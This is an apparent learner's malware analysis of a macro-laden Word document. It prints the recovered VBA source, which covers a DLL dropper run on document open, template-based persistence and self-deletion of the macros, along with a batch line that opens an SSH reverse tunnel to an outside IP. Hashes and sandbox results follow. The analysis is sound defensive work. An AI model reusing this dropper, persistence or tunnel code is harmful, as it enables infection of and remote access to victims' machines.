

Malicious Word Document Analysis

This document provides an analysis of a suspicious [Microsoft Word document](#) flagged as malicious. This analysis was conducted using a combination of static and dynamic analysis techniques, utilising tools to dissect and analyse the file to uncover its behaviour. Please note that I am in no way shape or form an experience malware analyst, I am simply trying to learn so any feedback or advice is much appreciated.

File Identification

The file was confirmed to be a Microsoft Word document using tools such as trid and the file utility.

```
remnux@remnux:~/Downloads$ trid 7d1fbe79df80ed442093510023b383c42749c4a689c1590f2d288402392e58e0.docx

TrID/32 - File Identifier v2.24 - (C) 2003-16 By M.Pontello
Definitions found: 14909
Analyzing...

Collecting data from file: 7d1fbe79df80ed442093510023b383c42749c4a689c1590f2d288402392e58e0.docx
 52.6% (.DOC) Microsoft Word document (30000/1/2)
 33.3% (.DOC) Microsoft Word document (old ver.) (19000/1/2)
 14.0% (.) Generic OLE2 / Multistream Compound (8000/1)
```

Macro Detection and Behaviour

Using [oleid](#), a python script that analyse OLE files like Microsoft Office documents, I was able to discover the presence of embedded VBA macros.

```
remnux@remnux:~/Downloads$ oleid 7d1fbe79df80ed442093510023b383c42749c4a689c1590f2d288402392e58e0.docx
XLMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
oleid 0.60.1 - http://decalage.info/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

Filename: 7d1fbe79df80ed442093510023b383c42749c4a689c1590f2d288402392e58e0.docx
-----
Indicator      |Value                |Risk      |Description
-----
File format    |MS Word 97-2003     |info      |
               |Document or Template|
-----
Container format|OLE                  |info      |Container type
-----
Application name|Microsoft Office     |info      |Application name declared
               |Word                 |           |in properties
-----
Properties code page|1252: ANSI Latin 1; |info      |Code page used for
               |Western European    |           |properties
               |(Windows)           |
-----
Author         |uwishuhadamail       |info      |Author declared in
               |                     |           |properties
-----
Encrypted      |False                |none      |The file is not encrypted
-----
VBA Macros     |Yes, suspicious      |HIGH      |This file contains VBA
               |                     |           |macros. Suspicious
               |                     |           |keywords were found. Use
               |                     |           |olevba and mraptor for
               |                     |           |more info.
-----
XLM Macros     |No                   |none      |This file does not contain
               |                     |           |Excel 4/XLM macros.
-----
External Relationships|0                   |none      |External relationships
               |                     |           |such as remote templates,
               |                     |           |remote OLE objects, etc
-----
```

I confirmed this using another tool called [olevba](#) which is able to detect and extract VBA macros among other pieces of crucial information.

```
remnux@remnux:~/Downloads$ olevba 7d1fbe79df80ed442093510023b383c42749c4a689c1590f2d288402392e58e0.docx
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
olevba 0.60.1 on Python 3.8.10 - http://decalage.info/python/oletools
=====
FILE: 7d1fbe79df80ed442093510023b383c42749c4a689c1590f2d288402392e58e0.docx
Type: OLE
=====
VBA MACRO ThisDocument.cls
in file: 7d1fbe79df80ed442093510023b383c42749c4a689c1590f2d288402392e58e0.docx - OLE stream: 'Macros/VBA/ThisDocument'
```

Type	Keyword	Description
AutoExec	AutoOpen	Runs when the Word document is opened
Suspicious	Open	May open a file
Suspicious	Write	May write to a file (if combined with Open)
Suspicious	Put	May write to a file (if combined with Open)
Suspicious	Binary	May read or write a binary file (if combined with Open)
Suspicious	Call	May call a DLL using Excel 4 Macros (XLM/XLF)
Suspicious	CreateObject	May create an OLE object
Suspicious	Lib	May run code from a DLL
Suspicious	VBProject	May attempt to modify the VBA code (self-modification)
Suspicious	VBComponents	May attempt to modify the VBA code (self-modification)
Suspicious	CodeModule	May attempt to modify the VBA code (self-modification)
Suspicious	Hex Strings	Hex-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)
Suspicious	Base64 Strings	Base64-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)

To analyse the VBA macros, I used oledump to find the location of these Macros and dump them:

```
remnux@remnux:~/Downloads$ oledump.py 7d1fbe79df80ed442093510023b383c42749c4a689c1590f2d288402392e58e0.docx
1: 114 '\x01CompObj'
2: 4096 '\x05DocumentSummaryInformation'
3: 4096 '\x05SummaryInformation'
4: 7541 'Table'
5: 657 'Macros/PROJECT'
6: 152 'Macros/PROJECT.vbm'
7: M 2689 'Macros/VBA/ThisDocument'
8: 5645 'Macros/VBA/VBA_PROJECT'
9: 932 'Macros/VBA/dir'
10: M 1551 'Macros/VBA/loader'
11: M 2706 'Macros/VBA/postopen'
12: M 4499 'Macros/VBA/util'
13: M 829585 'Macros/VBA/writer'
14: M 1055728 'Macros/VBA/writer64'
15: 4096 'WordDocument'
```

- **Object 7:** Writes and executes a file named auxiliary2.aux, likely a malicious payload. This macro leverages the AutoOpen function for immediate execution upon running the document.

```
remnux@remnux:~/Downloads$ oledump.py -s7 -v 7d1fbe79df80ed442093510023b383c42749c4a689c1590f2d288402392e58e0.docx
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Const TemporaryFolder = 2

Sub AutoOpen()
    On Error GoTo Finish
    Dim temp As String
    Dim sDir As String
    Dim res As Integer
    sDir = CurDir
    Dim fs As Object
    Set fs = CreateObject("Scripting.FileSystemObject")
    temp = fs.GetSpecialFolder(TemporaryFolder)
    If IsOffice64Bit Then
        WriteToFile64 (temp & "\auxiliary2.aux")
    Else
        WriteToFile (temp & "\auxiliary2.aux")
    End If
    ChDir temp
    res = calculate()
    If res = 1 Then
        ChDir sDir
    End If
Finish:
    MsgBox "N o tem permiss o para visualizar este documento. Se acredita que isto   um erro contacte o autor do documento."
    unlink
End Sub
```

- **Object 10:** Executes the auxiliary file through a function named Calculate_values.

```
remnux@remnux:~/Downloads$ oledump.py -s10 -v 7d1fbe79df80ed442093510023b383c42749c4a689c1590f2d288402392e58e0.docx
Attribute VB_Name = "loader"
Private Declare PtrSafe Function calculate_values Lib "auxiliary2.aux" Alias "fill_data" (ByVal flags As Integer) As LongPtr


Function calculate()
    Dim res As Integer
    res = 0
    calculate values 1
    calculate = res
    'If res Then
    '    MsgBox "OK"
    'Else
    '    MsgBox "Failed"
    'End If
End Function
```

- **Object 11:** Attaches a malicious template (Base.dotm or Normal.dotm) for persistence. It also employs anti-analysis techniques, such as deleting macro code after execution.

```
remnux@remnux:~/Downloads$ oledump.py -s11 -v 7d1fbe79df80ed442093510023b383c42749c4a689c1590f2d288402392e58e0.docx
Attribute VB_Name = "postopen"
Sub unlink()
    Application.DisplayAlerts = False
    On Error GoTo Destroy
    ThisDocument.AttachedTemplate.Saved = True
    CurrUser = Application.UserName
    new_normal = "C:\Users\" & CurrUser & "\AppData\Roaming\Microsoft\Templates\Base.dotm"
    If Dir(new_normal) <> "" Then
        tmpLoc = new_normal
    Else
        tmpLoc = "C:\Users\" & CurrUser & "\AppData\Roaming\Microsoft\Templates\Normal.dotm"
    End If
    ActiveDocument.AttachedTemplate = tmpLoc
    ActiveDocument.AttachedTemplate.Saved = True
    ThisDocument.Saved = True
    ActiveDocument.Saved = True
    ThisDocument.Close savechanges:=False
Exit Sub
Destroy:
    Call DeleteVBAPROJECT
    ThisDocument.Saved = True
    ActiveDocument.Saved = True
    ActiveDocument.AttachedTemplate.Saved = True
    ThisDocument.Close savechanges:=False
End Sub

Sub DeleteVBAPROJECT()
    Application.DisplayAlerts = False
    Dim i As Long
    On Error Resume Next
    With ThisDocument.VBProject
        For i = .VBComponents.Count To 1 Step -1
            .VBComponents.Remove .VBComponents(i)
            .VBComponents(i).CodeModule.DeleteLines
            1, .VBComponents(i).CodeModule.CountOfLines
        Next i
    End With
    On Error GoTo 0
    ThisDocument.Saved = True
    ActiveDocument.Saved = True
End Sub
```

- **Object 12:** Determines the system architecture (32-bit or 64-bit) and reads binary data, likely to deliver an appropriate payload.
- **Objects 13 and 14:** Contain obfuscated, decimal-encoded data. After decoding using a custom python script and cyberchef, it was revealed that these macros generate and write a Portable Executable (PE) file to disk.



Obfuscated Payload Analysis

Using a custom python script as seen below, the obfuscated macros in objects 13 and 14 were decoded, revealing 2 PE files. The extracted file's SHA256 hashes were checked on VirusTotal, both receiving a large number of detections.

```
import re

# Read the file containing the VBA code
input path = 'section13' # Replace with your file path
output path = 'test.txt' # Output file for cleaned ByteArray


# Read the input file
with open(input path, 'r') as file:
    content = file.read()

# Extract all ByteArray content using regex
byte arrays = re.findall(r'ByteArray\(((.*?)\))', content)

# Flatten and clean all ByteArrays
cleaned data = ', '.join(byte arrays).replace('\n', '').replace('\r', '')

# Save the cleaned ByteArray data
with open(output path, 'w') as output file:
    output file.write(cleaned data)

print(f"Cleaned ByteArray saved to: {output path}")
```



51

/ 73

Community Score -69

51/73 security vendors flagged this file as malicious

648f7aeac068f3fabda5ce6a0e56b149c430fe53d9bd2eb3dad330c04087ed90

648f7aeac068f3fabda5ce6a0e56b149c430fe53d9bd2eb3dad330c04087ed90.exe.vir

Size

146.50 KB

Last Analysis Date

25 days ago

DLL

pedll

detect-debug-environment

long-sleeps

64bits

Reanalyze

Similar

More

Network Indicators

- An IP address embedded in PE file was identified but it had no detection on VirusTotal.

```
@echo off
netstat -anp tcp | find /I "20.199.91.98:80"
if errorlevel 1 (
    start /b ssh.exe -f -i ###PLACEHOLDER###\azsvc-priv -o StrictHostKeyChecking=no -o ServerAliveInterval=30 azsvc@20.199.91.98 -p 80 -N -T -R 8765
) Else (
    EXIT
)
```

Dynamic Analysis

The two extracted PE files were subjected to sandbox testing using [Hybrid-Analysis](#). The dynamic analysis confirmed the malicious nature of the PE file but did not uncover new indicators of compromise (IOCs).

Analysis Overview

Submission name:

download.dat

Size:

123KiB

Type:

pedll executable

Mime:

application/x-dosexec

SHA256:

b966869ad7c302cd97c8458a75929b57fc385bacc83b23b6d694b78ed085266

Submitted At:

08/22/2024 08:25:19 (UTC)

Last Anti-Virus Scan:

11/17/2024 13:42:24 (UTC)

Last Sandbox Report:

11/17/2024 13:41:47 (UTC)

malicious

Threat Score: 100/100

AV Detection: 70%

Labeled As: Trojan.Generic

Post

Link

E-Mail

0 Community Score

Next steps would be to analyse the two PE files using a sandbox like FLARE VM or AnyRun, to uncover more IOCs.

Indicators of Compromise (IOCs)

IOC Type	Details
File Hash (docx file)	SHA256: 7d1fbe79df80ed442093510023b383c42749c4a689c1590f2d288402392e58e0
File Hash (PE file)	SHA256: b966869ad7c302cd97c8458a75929b57fc385bacc83b23b6d694b78ed085266
File Hash (PE file)	SHA256: 648f7aeac068f3fabda5ce6a0e56b149c430fe53d9bd2eb3dad330c04087ed90